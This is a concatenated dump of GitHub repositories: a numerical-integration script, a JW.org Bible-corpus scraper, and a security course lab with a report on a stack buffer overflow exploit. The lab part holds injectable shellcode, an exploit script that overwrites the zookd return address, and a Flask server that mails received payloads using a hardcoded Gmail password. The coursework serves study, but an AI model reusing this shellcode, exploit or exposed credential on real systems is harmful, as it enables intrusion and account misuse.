X(i+1)\n\n\tX = []\t\t\t\t\t\t# store X0 ~ Xn\n\tfor i in range(n+1):\n\t\tX.append( a + delta_X*i )\t\t# Xi = a + i * ΔX\n\n\ttmp = 0\t\t\t\t\t\t# to store sum of f(X0) + 2*f(X1) + 2*f(X2) + ... + 2*f(Xn-1) + f(Xn)\n\n\tfor i, j in zip(range(n+1), X):\n\n\t\tif i == 0 or i == n:\n\t\t\ttmp += f(j)\t\t\t# f(X0) and f(Xn)\n\t\telse:\n\t\t\ttmp += 2 * f(j)\t\t\t# 2*f(X1) + 2*f(X2) + ... + 2*f(Xn-1)\n\n\treturn ( delta_X / 2 ) * tmp\t\t\t# ΔX/2*( f(X0) + 2*f(X1) + 2*f(X2) + ... + 2*f(Xn-1) + f(Xn) )\n\n# n is even\ndef Simpson_one_third_Rule(a, b, n):\n\tdelta_X = (b-a)/n \t\t\t\t# ΔX is the distance between Xi and X(i+1)\n\n\tX = []\t\t\t\t\t\t# store X0 ~ Xn\n\tfor i in range(n+1):\n\t\tX.append( a + delta_X*i )\t\t# Xi = a + i * ΔX\n\n\ttmp = 0\t \t\t\t\t\t# to store sum of f(X0) + 4*f(X1) + 2*f(X2) + 4*f(X3) + ... + 2*f(Xn-2) + 4*f(Xn-1) + f(Xn)\n\n\tfor i, j in zip(range(n+1), X):\n\n\t\tif i == 0 or i == n:\n\t\t\ttmp += f(j)\t\t\t# f(X0) and f(Xn)\n\t\telif i % 2 == 0:\n\t\t\ttmp += 2 * f(j)\t\t\t# 2*f(X2) + 2*f(X4) + ... + 2*f(Xn-2)\n\t\telif i % 2 == 1:\n\t\t\ttmp += 4 * f(j)\t\t\t# 4*f(X1) + 4*f(X3) + ... + 4*f(Xn-1)\n\n\treturn ( delta_X / 3 ) * tmp\t\t\t# ΔX/3*( f(X0) + 4*f(X1) + 2*f(X2) + 4*f(X3) + ... + 2*f(Xn-2) + 4*f(Xn-1) + f(Xn) )\n\n# n must be multiple of 3\ndef Simpson_three_eighths_Rule(a, b, n):\n\tdelta_X = (b-a)/n \t\t\t\t# ΔX is the distance between Xi and X(i+1)\n\n\tX = []\t\t\t\t\t\t# store X0 ~ Xn\n\tfor i in range(n+1):\n\t\tX.append( a + delta_X*i )\t\t# Xi = a + i * ΔX\n\n\ttmp = 0\t\t\t\t\t\t# to store sum of (f(X0) + f(Xn))+ 2 * (f(X3) + f(X6) + ... ) + 3 * (f(X1) + f(X2) + f(X4) +...)\n\n\tfor i, j in zip(range(n+1), X):\n\n\t\tif i == 0 or i == n:\n\t\t\ttmp += f(j)\t\t\t# f(X0) + f(Xn)\n\t\telif i % 3 == 0:\n\t\t\ttmp += 2 * f(j)\t\t\t# 2 * (f(X3) + f(X6) + ... )\n\t\telse:\n\t\t\ttmp += 3 * f(j)\t\t\t# 3 * (f(X1) + f(X2) + f(X4) +...)\n\n\treturn ( 3 * delta_X / 8 ) * tmp\t\t# (3*ΔX/8)*((f(X0) + f(Xn))+ 2*(f(X3) + f(X6) + ... ) + 3*(f(X1) + f(X2) + f(X4) +...))\n\ndef main():\n\ta = 0\n\tb = 6\n\tn = 6\n\tprint(\"a =\", a, \", b =\", b, \", n =\", n)\n\tprint( \"Trapezoidal_Rule:\", Trapezoidal_Rule(a, b, n) )\n\tprint( \"Simpson_one_third_Rule:\", Simpson_one_third_Rule(a, b, n) )\n\tprint( \"Simpson_three_eighths_Rule:\", Simpson_three_eighths_Rule(a, b, n) )\n\n\nif __name__ == '__main__':\n\tmain()\n" } ]
9
msquarme/Parallel-Corpus
https://github.com/msquarme/Parallel-Corpus
2d114ec35162f8530e6ff158a98c7a9822af80dd
9320b9733b500ba185195879bb5edd3aea57927e
9b80cdadf92d1a4249a92bf0ea83d2a6c73c267f
refs/heads/master
2020-08-12T21:23:22.196160
2019-10-14T07:17:32
2019-10-14T07:17:32
214,844,338
5
2
null
null
null
null
null
[ { "alpha_fraction": 0.7798165082931519, "alphanum_fraction": 0.7798165082931519, "avg_line_length": 53.5, "blob_id": "ecabab103e7a889addceca42b1e4e1cfbae5d7b6", "content_id": "deff3c793a031bd4f95ce7509db287ecde5523a5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 109, "license_type": "permissive", "max_line_length": 90, "num_lines": 2, "path": "/README.md", "repo_name": "msquarme/Parallel-Corpus", "src_encoding": "UTF-8", "text": "# Parallel-Corpus\nScraping JW.org to create a parallel corpus for Tigrigna - English and Amharic - English\n" }, { "alpha_fraction": 0.5927309989929199, "alphanum_fraction": 0.59714674949646, "avg_line_length": 26.990476608276367, "blob_id": "eedd7334c02b80172814d2561715467f95a71a7c", "content_id": "73f10c7c46630148ba527919835c2aeeb3798470", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3016, "license_type": "permissive", "max_line_length": 130, "num_lines": 105, "path": "/Scraping.py", "repo_name": "msquarme/Parallel-Corpus", "src_encoding": "UTF-8", "text": "from bs4 import BeautifulSoup\nimport requests, re, os, sys\nfrom urllib.request import urlopen\nfrom glob import glob\nimport pandas as pd\n\n\n\nEN_URL = \"https://www.jw.org/en/library/bible/nwt/books/\"\nAM_URL = \"https://www.jw.org/am/ላይብረሪ/መጽሐፍ-ቅዱስ/nwt/መጻሕፍት/\"\nTI_URL = \"https://www.jw.org/ti/ቤተ-መጻሕፍቲ/መጽሓፍ-ቅዱስ/nwt/መጻሕፍቲ/\"\n\n\ndef get_books(lang_url):\n url = requests.get(lang_url)\n page =BeautifulSoup(url.text, 'lxml')\n books = page.find('select', attrs={'id':'Book'}).text.split('\\n')[1:]\n \n for i in range(len(books)):\n if(len(books[i].split()) > 1):\n hyphen_join = books[i].split()\n books[i] = '-'.join(hyphen_join)\n \n return books\n\n\nen_books = get_books(EN_URL)\nam_books = get_books(AM_URL)\nti_books = get_books(TI_URL)\nen_books.remove('')\nam_books.remove('')\nti_books.remove('')\n\n\ndef write_book_to_file(sub_url, book,lang):\n for i in range(len(book)):\n os.makedirs(\"Scrapped/\"+lang+book[i])\n address = sub_url + book[i]\n print(address)\n url = requests.get(address)\n page = BeautifulSoup(url.text, 'lxml')\n chapters = page.find('div', attrs={'class': 'chapters clearfix'}).text.split('\\n')[1:]\n chapters.remove('')\n ## Get Chapters for Each book\n for ch in chapters:\n url1 = requests.get(sub_url + book[i] +'/' + ch)\n print(sub_url + book[i] +'/' + ch)\n page1 = BeautifulSoup(url1.text,'lxml')\n ch1 = page1.find('div',attrs={'id': \"bibleText\"})\n tt = [verses.text.replace(u'\\xa0', u' ').replace('\\n',' ') for verses in ch1.find_all('span',attrs={'class':'verse'})]\n chapter = open(\"Scrapped/\"+lang+book[i]+\"/\"+str(ch) + \".txt\", 'w')\n for item in tt:\n chapter.write(\"{}\\n\".format(item))\n\n\nwrite_book_to_file(TI_URL, am_books,\"Tigrigna/\")\n\nwrite_book_to_file(AM_URL, am_books,\"Amharic/\")\n\nwrite_book_to_file(EN_URL, en_books,\"English/\")\n\n\ndef merge_books(lang, books):\n file_lang = []\n for bk in books:\n file_lang.append((glob(\"Scrapped/\"+lang+\"/\" + bk + \"/*.txt\")))\n\n \n with open(\"Scrapped/\"+lang+\"/All.txt\",\"wb\") as write_file:\n for f in file_lang:\n for i in f:\n with open(i,'rb') as r:\n write_file.write(r.read())\n\nmerge_books(\"Tigrigna\",ti_books)\nmerge_books(\"Amharic\",am_books)\nmerge_books(\"English\",en_books)\n\n\n# Creating a parallel Corpus\n\n\nti = pd.read_csv('Scrapped/Tigrigna/All.txt',delimiter=\"\\n\",header=None)\nti.columns = [\"Tigrigna\"]\n\nen = pd.read_csv('Scrapped/English/All.txt',delimiter=\"\\n\",header=None)\nen.columns = [\"English\"]\n\ndata = pd.concat([en,ti],axis=1)\nprint(data.head())\n\ndata.to_csv(\"en_ti.csv\",index=False)\n\n\n\nam = pd.read_fwf('Scrapped/Amharic/All.txt',delimiter=\"\\n\",header=None)\nam.columns = [\"Amharic\"]\n\n#reset 'data' dataframe\ndata = []\n\ndata = pd.concat([en,am],axis=1)\nprint(data.head())\n\ndata.to_csv(\"en_am.csv\",index=False)\n\n\n\n\n\n" } ]
2
schlimmchen/fbtools
https://github.com/schlimmchen/fbtools
fbf76baf026042b426d7ef5348aa86bf745588f8
9c1aed3f3bcbb06c246e1d0dddca1253304773cf
5aec02d5f834f3015750ca1842eaa506f287daff
refs/heads/master
2021-01-10T20:11:11.656925
2015-09-20T17:42:02
2015-09-20T17:42:02
41,833,066
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8070175647735596, "alphanum_fraction": 0.8070175647735596, "avg_line_length": 27.5, "blob_id": "3fb0f1cb376ce5983f42dc7de855f7ea7cbb934a", "content_id": "c165334d75f93285329164bc781612ece1d218db", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 57, "license_type": "permissive", "max_line_length": 46, "num_lines": 2, "path": "/README.md", "repo_name": "schlimmchen/fbtools", "src_encoding": "UTF-8", "text": "# fbtools\nTiny collection of AVM Fritz!Box related tools\n" }, { "alpha_fraction": 0.5856195092201233, "alphanum_fraction": 0.5936883687973022, "avg_line_length": 39.708030700683594, "blob_id": "e38e680d2a862fec26c84e5d07fef48b03b4e1ca", "content_id": "2d39b4cc8cbf6000a0b2937396b1de026d11c573", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5577, "license_type": "permissive", "max_line_length": 112, "num_lines": 137, "path": "/fbchecksum", "repo_name": "schlimmchen/fbtools", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n# The reverse engineering required to come up with the method to calculate the\n# checksum so the Fritz!Box would accept altered config files is not my work.\n# Here is a list of sources I gathered the required information from:\n# - fb_tools.php.gz from http://www.mengelke.de/Projekte/FritzBoxTools\n# - http://www.akk.org/~enrik/fbox/util/exportsum.pl\n# - http://www.ip-phone-forum.de/showthread.php?t=77639\n# - https://github.com/olistudent/FBEditor\n\nimport binascii\nimport sys, re\n\n################################################################################\n# global pre-compiled regex objects for later matching\n################################################################################\n\n# TODO do we need to allow optional whitespaces before the end of the line?\n\n# matches a key-value pair found on the top of the config\nvar_val_pair_regex = re.compile(\"^([\\w]+)=([\\S]+)$\");\n\n# matches begin marker of a config file\ncfg_file_start_regex = re.compile(\"^\\*{4} CFGFILE:([\\S]+)$\")\n\n# macthes beging marker of a binary file\nbin_file_start_regex = re.compile(\"^\\*{4} BINFILE:([\\S]+)$\")\n\n# matches end marker of config and binary files\nany_file_end_regex = re.compile(\"^\\*{4} END OF FILE \\*{4}$\")\n\n# matches old/current checksum in config\ncurrent_checksum_regex = re.compile(\"^\\*{4} END OF EXPORT ([0-9A-Za-z]{8}) \\*{4}$\")\n\n################################################################################\n# helper functions\n################################################################################\n\ndef process_config_file(filename, lines):\n \"\"\" Concatenate the filename with NUL, then add all but the last line of\n the config file to the result string, converting double backslashes to\n single backslashes in each line. \"\"\"\n result = str(filename) + '\\0'\n for line in lines[:-1]:\n result += re.sub(\"\\\\\\\\\\\\\\\\\", \"\\\\\\\\\", line)\n if lines[-1] != str(\"\\n\"):\n # TODO does the fritzbox also accept configs with no such newline?\n print \"Whoops, I was expecting an empty line at the end of file \\\"%s\\\"!\" % filename\n sys.exit(2)\n return result\n\ndef process_binary_file(filename, lines):\n \"\"\" Concatenate the filename with NUL, then add all bytes (line endings\n stripped) in the binary file to the result string (convert hexadecimal\n ASCII into binary). \"\"\"\n result = str(filename) + '\\0'\n for line in lines:\n result += binascii.unhexlify(line.strip())\n return result\n\ndef process_file(regex, handler, checksum_material, config_lines, line_index):\n # try to match the current line (file name line), return if it does not\n match = regex.match(config_lines[line_index]);\n if not match: return (False, line_index, checksum_material)\n\n # find borders of the file content and process it (add to checksum maaterial)\n file_start = line_index + 1\n file_end = file_start + 1\n while not any_file_end_regex.match(config_lines[file_end]):\n file_end += 1\n checksum_material += handler(match.group(1), config_lines[file_start:file_end])\n return (True, file_end + 1, checksum_material)\n\n################################################################################\n# main\n################################################################################\n\ndef main():\n \"\"\" Read all lines in the exported config file and try to match them to\n the regexes defined above. If so, add the required info to the checksum\n material. For files, slice the file contents and let helper functions\n process them. \"\"\"\n config_lines = list() # input (list of lines, line endings included)\n checksum_material = str() # accumulated data for CRC32 calculation\n\n if(len(sys.argv) < 2):\n print \"Need argument (file to inspect)!\"\n sys.exit(-1)\n\n filename = sys.argv[1]\n debug = 0\n\n try:\n with file(filename) as f:\n # replace CRLF line endings by LF line endings\n config_lines = [line.replace(\"\\r\\n\", \"\\n\") for line in f.readlines()]\n except Exception as e:\n print \"ERROR: File \\\"%s\\\" could not be read.\" % filename\n if hasattr(e, \"strerror\"): print \"ERROR: %s\" % e.strerror\n sys.exit(-1);\n\n line_index = int(0)\n while line_index < len(config_lines):\n # handling of key-value-pairs relevant for checksum material\n match = var_val_pair_regex.match(config_lines[line_index]);\n if match:\n # concatenate key string with value string and NUL\n checksum_material += match.group(1) + match.group(2) + '\\0';\n line_index += 1\n continue\n\n # handling of config files\n result, line_index, checksum_material = \\\n process_file(cfg_file_start_regex, process_config_file, checksum_material, config_lines, line_index)\n if result: continue\n\n # handling of binary files\n result, line_index, checksum_material = \\\n process_file(bin_file_start_regex, process_binary_file, checksum_material, config_lines, line_index)\n if result: continue\n\n # extract/print current checksum\n match = current_checksum_regex.match(config_lines[line_index]);\n if match:\n print \"Current Checksum: %s\" % match.groups(1)\n line_index += 1\n continue\n\n # line is ignored\n if debug > 0:\n print \"Ignored (not relevant for checksum): %s\" % config_lines[line_index].strip()\n line_index += 1\n\n print \" Proper Checksum: %08X\" % (binascii.crc32(checksum_material) & 0xffffffff)\n\nif __name__ == '__main__':\n main()\n" } ]
2
iFission/50.044-System-Security-2021-Labs
https://github.com/iFission/50.044-System-Security-2021-Labs
a8cd00302176e9f4a16523eccc3f8b8fdb0391be
1d4d60e0f92244ef14a3fdc2f0078a6ba5b5268a
1681e782daac4b49bb60f8e21c442d23c74177f2
refs/heads/master
2023-07-10T13:32:48.734578
2021-08-17T15:57:34
2021-08-17T15:57:34
376,780,228
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6196808218955994, "alphanum_fraction": 0.6555851101875305, "avg_line_length": 29.079999923706055, "blob_id": "5ec992eb5224e0df2e2a931edd88625f69e5da22", "content_id": "99bbc0b5007e6da9904ef62d726b834cde926f0e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 752, "license_type": "no_license", "max_line_length": 95, "num_lines": 25, "path": "/demo/memerror/mmap.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#include <unistd.h>\n#include <sys/mman.h>\n#include <sys/time.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv) {\n\tstruct timeval start, end;\n\t\n\tgettimeofday(&start, NULL);\n\tvoid *page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);\n\tgettimeofday(&end, NULL);\n\tprintf(\"mmap time: %f\\n\", ((end.tv_sec-start.tv_sec)*1e9 + (end.tv_usec-start.tv_usec))); \n\t\n\tgettimeofday(&start, NULL);\n\tvoid *x= malloc(16); \n\tgettimeofday(&end, NULL);\n\tprintf(\"malloc time: %f\\n\", ((end.tv_sec-start.tv_sec)*1e9 + (end.tv_usec-start.tv_usec))); \n\t\n\tgettimeofday(&start, NULL);\n\tvoid *y= malloc(16); \n\tgettimeofday(&end, NULL);\n\tprintf(\"malloc 2 time: %f\\n\", ((end.tv_sec-start.tv_sec)*1e9 + (end.tv_usec-start.tv_usec))); \n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.6837169528007507, "alphanum_fraction": 0.6854220032691956, "avg_line_length": 28.325000762939453, "blob_id": "3b54bab31a907dcef2aaedd65ac78505d43355a4", "content_id": "6dcca4492c12fdd07497ab9b1c5c13098d769d9d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1173, "license_type": "permissive", "max_line_length": 124, "num_lines": 40, "path": "/lab2_priv_separation/zoobar/bank-server.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n#\n# Insert bank server code here.\n#\nimport rpclib\nimport sys\nimport bank\nfrom debug import *\nimport auth_client\n\n\n\ndef serialise_msg(sql_obj):\n return {c.name: getattr(sql_obj, c.name) for c in sql_obj.__mapper__.columns}\n\nclass BankRpcServer(rpclib.RpcServer):\n ## Fill in RPC methods here.\n # TODO: Add authentication method here\n def rpc_transfer(self,sender, recipient, zoobars, token):\n # Exercise 8 - Authenticate the request via token\n if not auth_client.check_token(sender, token):\n log(\"Transfer authentication failed\") \n raise ValueError('Token is invalid')\n\n return bank.transfer(sender, recipient, zoobars)\n\n def rpc_balance(self, username):\n return bank.balance(username)\n\n def rpc_get_log(self, username):\n res = bank.get_log(username) # this function is crashing, with error that data is not a JSON - suspect is rpc issue\n return [serialise_msg(x) for x in res]\n\n def rpc_initalise_zoobars(self, username):\n return bank.initalise_zoobars(username)\n\n(_, dummy_zookld_fd, sockpath) = sys.argv\n\ns = BankRpcServer()\ns.run_sockpath_fork(sockpath)\n" }, { "alpha_fraction": 0.3458646535873413, "alphanum_fraction": 0.4060150384902954, "avg_line_length": 17.85714340209961, "blob_id": "41b75a24aa4fea717e27f893ee78aa4943660b06", "content_id": "5dbb0c34a78849234ecea771f1fa435f9c643147", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 133, "license_type": "no_license", "max_line_length": 43, "num_lines": 7, "path": "/demo/memerror/forker.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main() {\n char buf[16];\n while (1) {\n if (fork()) { wait(0); }\n else { read(0, buf, 128); return; }\n }\n}\n\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6521739363670349, "avg_line_length": 15.428571701049805, "blob_id": "7ce0a5301e95df2f7fa6ad1bdb4b3cbf05eae885", "content_id": "aacc117bf866bffec08b956a9cae93cf7f7b162d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 115, "license_type": "no_license", "max_line_length": 32, "num_lines": 7, "path": "/demo/memerror/heap.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "//char access;\nchar access=0x1;\nchar buf[16];\nint main(int argc, char **argv){\n\tstrcpy(buf, argv[1]);\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5465517044067383, "alphanum_fraction": 0.565517246723175, "avg_line_length": 25.976743698120117, "blob_id": "0388c4c59cca3850cc2ecd562e8bf008646ea5aa", "content_id": "6ad7e80683d70e0d6fe1661d85429cf8ddedf549", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1160, "license_type": "permissive", "max_line_length": 64, "num_lines": 43, "path": "/lab3_web_security/flask_server_template.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n\nfrom flask import Flask\nfrom flask import request\nimport smtplib, ssl\n\napp = Flask(__name__)\n\n\nclass Mail:\n def __init__(self):\n self.port = 465\n self.smtp_server_domain_name = \"smtp.gmail.com\"\n self.sender_mail = \"[email protected]\"\n self.password = \"4865VmcNrmKR2pF\"\n\n def send(self, recipient, subject):\n ssl_context = ssl.create_default_context()\n service = smtplib.SMTP_SSL(self.smtp_server_domain_name,\n self.port,\n context=ssl_context)\n service.login(self.sender_mail, self.password)\n\n result = service.sendmail(self.sender_mail, recipient,\n \"Subject: {}\".format(subject))\n\n service.quit()\n\n\[email protected]('/', methods=['GET'])\ndef email_server():\n arg1 = request.args.get('to', None)\n arg2 = request.args.get('payload', None)\n\n if arg1 is None or arg2 is None:\n return 'Error: Missing parameters'\n else:\n mail = Mail()\n mail.send(arg1, arg2)\n return 'to=' + arg1 + ', payload=' + arg2\n\n\napp.run(host='127.0.0.1', port=8000, debug=True)\n" }, { "alpha_fraction": 0.6802242398262024, "alphanum_fraction": 0.7021209001541138, "avg_line_length": 42.068336486816406, "blob_id": "38f95b349c3d548a724f640edaaea67b2a956938", "content_id": "01a20a7419935a2c8ba64f7478a7a2621b36f09b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 18907, "license_type": "permissive", "max_line_length": 432, "num_lines": 439, "path": "/lab1_mem_vulnerabilities/report.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# System Security Lab 1\n\nAlex W `1003474`\nSheikh Salim `1003367`\n\n## Part A\n\n### Exercise 1\n\nIn exercise 1, we note that a particular variable worth exploring is `char reqpath [4096]`, which is allocated in the stack.\n\nTracing the usage of `reqpath` and the function calls, we note the following:\n\n`zookd.c`\n\n```c\n char reqpath[4096]; // Allocates reqpath on the stack\n const char *errmsg; //T Allocates errmsg into the stack as well\n\n /* get the request line */\n if ((errmsg = http_request_line(fd, reqpath, env, &env_len))) // Described below\n return http_err(fd, 500, \"http_request_line: %s\", errmsg);\n```\n\n1. `process_client(int fd)` is first called. Here, a section of the stack of size 4096 bytes is allocated.\n2. `http_request_line()` is then called via the if statement, and the `reqpath` char array and the file descriptor to the network socket is passed to the function.\n3. `http_request_line()` then proceeds to call on `http_read_line()`, which reads the raw bytes being sent via the tcp socket, and allocates the bytes into a static buffer `buf`\n4. Following that, `http_request_line` proceeds to parse the buffer, with `sp1` being a pointer that stores the first character in the actual request path (after the `GET` keyword as described in the code comments provided).\n5. `url_decode()` is then called with `reqpath` and `sp1`. This is the instance where the `reqpath` is filled in the stack, and will act as the main point where our buffer overflow attack is able to work, as no boundary checking is done by this function\n6. After a series of operations, we will then return back to the `process_client()`, at the point of the if statement. Hence, it is just before this return that we can conduct the buffer overflow exploit.\n7. We intend the exploit to work within `process_client()` stack. We will input the payload via `reqpath`, that is taken directly from `HTTP GET /path`. The payload will contain shellcode, and any extra characters required to overwrite subsequent stack variables and `%rbp`. Eventually, it will overwrite the return address to point to the shellcode on the earlier stack. When `process_client()` returns, shellcode will be executed.\n\n### Exercise 2\n\nNoting the understanding from Exercise 1, the easiest solution in this case will be to simply overflow the `4096` bytes allocated in the stack by via `reqpath`. Hence, we could theoretically feed in a request URL that goes beyond 4096 bytes.\n\nThe binary details for `zookd-exstack` were also obtained as follows, to ensure that no protection was placed to conduct this attack:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ pwn checksec zookd-exstack\n[*] '/home/httpd/labs/lab1_mem_vulnerabilities/zookd-exstack'\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: PIE enabled\n RWX: Has RWX segments\n\n```\n\nThe idea is to overwrite the return address of `process_client`, hence returning to an invalid address entirely and cause a segmentation fault due to inaccessible memory. In this case, we need not have a surgical setup, since as long as we overwrote the return address, we are pretty much set for a fault. No encoding is also required, since we are simply providing a payload with url `/a....*5000`\n\nThus, for this part, we simply provided a `request path` that exceeds the 4096 bytes, along with a few more bytes as safety. In our initial testing, 5000 bytes was sufficient to do the trick. We made additonal changes to the exploit to use 4128 bytes instead. This will be explained in detail in part B.\n\n## Part B\n\n### Exercise 3.1\n\nWith the provided shellcode.S, the following changes have been modified to evoke `$SYS_unlink` on `\"/home/httpd/grades.txt\"`. Note that `STRLEN` has also been updated to `22`, accounting for the length of the string.\n\n`shellcode.S`\n\n```c\n#include <sys/syscall.h>\n\n#define STRING\t\"/home/httpd/grades.txt\"\n#define STRLEN\t22\n#define ARGV\t(STRLEN+1)\n#define ENVP\t(ARGV+8)\n\n.globl main\n\t.type\tmain, @function\n\n main:\n\tjmp\tcalladdr\n\n popladdr:\n\tpopq\t%rcx\n\tmovq\t%rcx,(ARGV)(%rcx)\t/* set up argv pointer to pathname */\n\txorq\t%rax,%rax\t\t/* get a 64-bit zero value */\n\tmovb\t%al,(STRLEN)(%rcx)\t/* null-terminate our string */\n\tmovq\t%rax,(ENVP)(%rcx)\t/* set up null envp */\n\n\tmovb\t$SYS_unlink,%al\t\t/* set up the syscall number */\n\tmovq\t%rcx,%rdi\t\t/* syscall arg 1: string pathname */\n\tleaq\tARGV(%rcx),%rsi\t\t/* syscall arg 2: argv */\n\tleaq\tENVP(%rcx),%rdx\t\t/* syscall arg 3: envp */\n\tsyscall\t\t\t\t/* invoke syscall */\n\n\tmovb $SYS_exit,%al\t\t/* set up the syscall number */\n\txorq\t%rdi,%rdi\t\t/* syscall arg 1: 0 */\n\tsyscall\t\t\t\t/* invoke syscall */\n\n calladdr:\n\tcall\tpopladdr\n\t.ascii\tSTRING\n\n```\n\n### Mapping the memory - Exercise 2 & Exercise 3.2\n\nCarrying on from Exercise 2, we note that a signifcant change for this case was that our attack now had to be more precise in nature.\n\n- We had to find the exact return address of `process_client` to its parent address.\n- We had to find the exact address for the start of the `reqpath` buffer so we can trigger our own function\n\n#### Mapping the Stack\n\nFor the GDB Setup, we used the malicious payload from Exercise 2 in order to gain a better understanding of the stack during execution. We also placed a breakpoint at the if statement, just before the return to `process_client` from `http_request_line`\n\nUsing GDB, we were able to find the start address of the buffer to be `0x7fffffffdcd0`:\n![](https://i.imgur.com/l7y9pXB.png)\n\nWe also obtained the stack info to see where the next instruction is, hence achieving the return address of `0x7fffffffece8`\n![](https://i.imgur.com/YK0lHSM.png)\n\nDoing simple hex-math, we note an interesting observation. Between the return address and the start of the reqpath buffer, there was a `4120` byte gap. This was interesting as we had expected there to only be\n\n- `4096` caused by the `reqpath` allocation\n- `8` caused by errMsg, which is a char pointer of size 8 bytes\n- `8` for the stored rbp\n\nHence, we note that there was an offset of 8 bytes happening. And this due to stack alignment in the x64 architecture. Due to the `errMsg` only being allocated 8 bytes, and additonal 8 bytes is allocated so as to achieve stack alignment.\n\n#### Exploring and confirming the 8 byte offset\n\nTo confirm this, in the below setup, we placed `/ + 4095 * a` to fill the `reqpath` buffer, followed by `32 * b`. Runnining GDB and adding a breakpoint just before the return to `process_client`, we observed the following stack\n\n![](https://i.imgur.com/MSkJLYZ.png)\n\n- We see here that errMsg is located at `ecd8`, as evidenced by the` 0x000...` This is so as the `errMsg` is being updated by the `http_request_line` function at line 109. The value of `errMsg` is updated from `0x626262...` -> `0x000000..` after this call.\n- However, we see that the padding at `ecd0` remains at `0x626262...` since its a redundant allocation for stack alignment, thus confirming our suspicion of it being a padding.\n\n![](https://i.imgur.com/Oe2AQIq.png)\n\n- To double confirm, we disassembled the function to see the assembly instructions. from line `0x0000555555555822 <+17>:`, it is loading arguments for function in line `zookd.c:109`, which is `reqpath`. We can therefore infer that from `rbp-0x1010` (4112 bytes) is allocated for reqpath, confirming our original understanding. Also, the remaining `16 bytes (4112-4096)` is reserved for `errmsg`\n\nWith that being said and done, below shows the overall state of the stack, which will guide us through the remainder of the lab:\n![](https://i.imgur.com/FAoJFxc.png)\n\nWith these developments, we proceeded to modify `exploit-2.py` in Exercise 2 to only have `4120` bytes, and it worked! Hence, this was the minimum payload length to overwrite the return address and cause a segmentation fault.\n\n### Exercise 3.2\n\nFollowing the memory location that has been calculated earlier, particularly, the location of `reqpath[0]`, that is `0x7fffffffdcd0`. This marks the location of shellcode to be injected. Here, we accounted for the presence of `/` as a prefix for the URI, hence, the final return address should be `0x7fffffffdcd0 + 1`.\n\nThe return address is calculated to be `4096 + 24` bytes from the top of the stack, taking into account of length of `reqpath`, `errmsg with padding`, `rbp`.\n\nAfter many failed attempts, urllib.quote is used to encode the modified part of the payload to circumvent `http.c:86:\"Cannot parse HTTP request (2)\"` error.\n\nThe python code for the exploit is as follows:\n\n`exploit-3.py`\n\n```python\nstack_buffer = 0x7fffffffdcd0\nPADDING_BYTES_COUNT = 8\nERR_MSG_BYTES_COUNT = 8\nRBP_BYTES_COUNT = 8\ndef build_exploit(shellcode):\n req = \"GET /\"\n req += urllib.quote(shellcode + \"a\" * (4095-len(shellcode)) + \"b\" * (PADDING_BYTES_COUNT + ERR_MSG_BYTES_COUNT + RBP_BYTES_COUNT) + struct.pack(\"<Q\", stack_buffer+1))\n req += \" HTTP/1.0\\r\\n\" + \\\n \"\\r\\n\"\n return req\n```\n\nthe resultant stack in the server is as follows:\n![](https://i.imgur.com/actcKt1.png)\n\nverify that shellcode is loaded properly:\n![](https://i.imgur.com/AT5K44J.png)\n\ncompare it with the hex binary of shellcode.bin\n![](https://i.imgur.com/wo0Ut2h.png)\n\nTo confirm the exploit works, the following command is used to test:\n\n```bash\necho \"alex\" > /home/httpd/grades.txt; python2 exploit-3.py localhost 8080; cat /home/httpd/grades.txt\n```\n\nThe results are following:\n![](https://i.imgur.com/7iddjaO.png)\nAs seen above, `grades.txt` could not be found, after the exploit is executed.\n\nTest with make check script:\n![](https://i.imgur.com/9pJZdHF.png)\n\n## Part C\n\n### Exercise 4\n\nFor this part, our object is to launch the `unlink` syscall via return to `lib-c`. Given that the stack is now non-executable, we will hence have to rely on exisitng `lib-c` functions for this objective. As mentioned in the syscall guide [here ](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md), the syscall for the `unlink` function will take the our grades path parameter from the `%rdi` register.\n\n| NR | syscall name | `%rax` | `arg0 (%rdi)` |\n| --- | ------------ | ------ | ----------------------- |\n| 87 | `unlink` | `0x57` | `const char *pathname ` |\n\nThe problem is that we cannot inject this path payload anywhere. However if we look at `accidentally()`, we can see that it provides us the opportunity as follows:\n\n`zookd.c`\n\n```c\nvoid accidentally(void)\n{\n __asm__(\"mov 16(%%rbp), %%rdi\": : :\"rdi\");\n}\n```\n\nUsing this, we can inject the path in memory at location `16+rbp` prior to the instruction call, which will 